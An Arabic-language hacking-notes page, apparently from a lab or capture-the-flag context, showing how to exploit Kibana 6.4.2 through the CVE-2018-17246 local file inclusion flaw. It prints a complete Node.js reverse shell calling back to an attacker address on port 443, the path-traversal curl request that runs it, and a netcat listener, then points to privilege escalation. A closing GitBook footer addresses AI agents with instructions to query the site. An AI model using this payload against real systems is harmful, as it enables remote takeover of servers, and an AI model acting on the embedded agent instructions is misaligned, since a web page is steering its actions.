> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/kibana-cms-exploitation.md).

# Kibana

### استغلال Kibana (CVE-2018-17246)

<figure><img src="/files/134f67161c694551de002884d86073f5684d6639" alt=""><figcaption></figcaption></figure>

**التحقق من إصدار Kibana**

عند الوصول إلى `http://localhost:5601/api/status` يكشف إصدار Kibana **6.4.2**. هذا الإصدار عرضة لـ **تضمين الملفات المحلية (LFI)** عبر **CVE-2018-17246**.

<figure><img src="/files/9f1e9db9bc8311c673b0d773cba44ec16133d208" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/mpgn/CVE-2018-17246>" %}

**استغلال الثغرة الأمنية**

لاستغلال الثغرة، أنشئ ملف JavaScript يفتح غلافًا عكسيًا. على الهدف، أنشئ `/tmp/rev.js` بالكود التالي:

<pre class="language-javascript"><code class="lang-javascript"><strong>function(){
</strong>    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // يمنع تعطل تطبيق Node.js
})();
</code></pre>

هذا السكربت يتصل عكسيًا بجهاز المهاجم على المنفذ **443** ويفتح غلافًا.

**إعادة توجيه التدفق إلى الملف**

ثم أعد توجيه التدفق إلى `/dev/shm/rev.js` بالأمر التالي:

```bash
curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js"
```

**الاستماع للغلاف العكسي**

على جهاز المهاجم، ابدأ مستمعًا على المنفذ **443** لالتقاط الغلاف العكسي:

```bash
nc -nlvp 443
```

بمجرد الاتصال، ستحصل على غلاف على الهدف ويمكنك مواصلة تصعيد الامتيازات.

<figure><img src="/files/ca4b5bdebd49ed9fb99999487524f18605d82cf9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/kibana-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
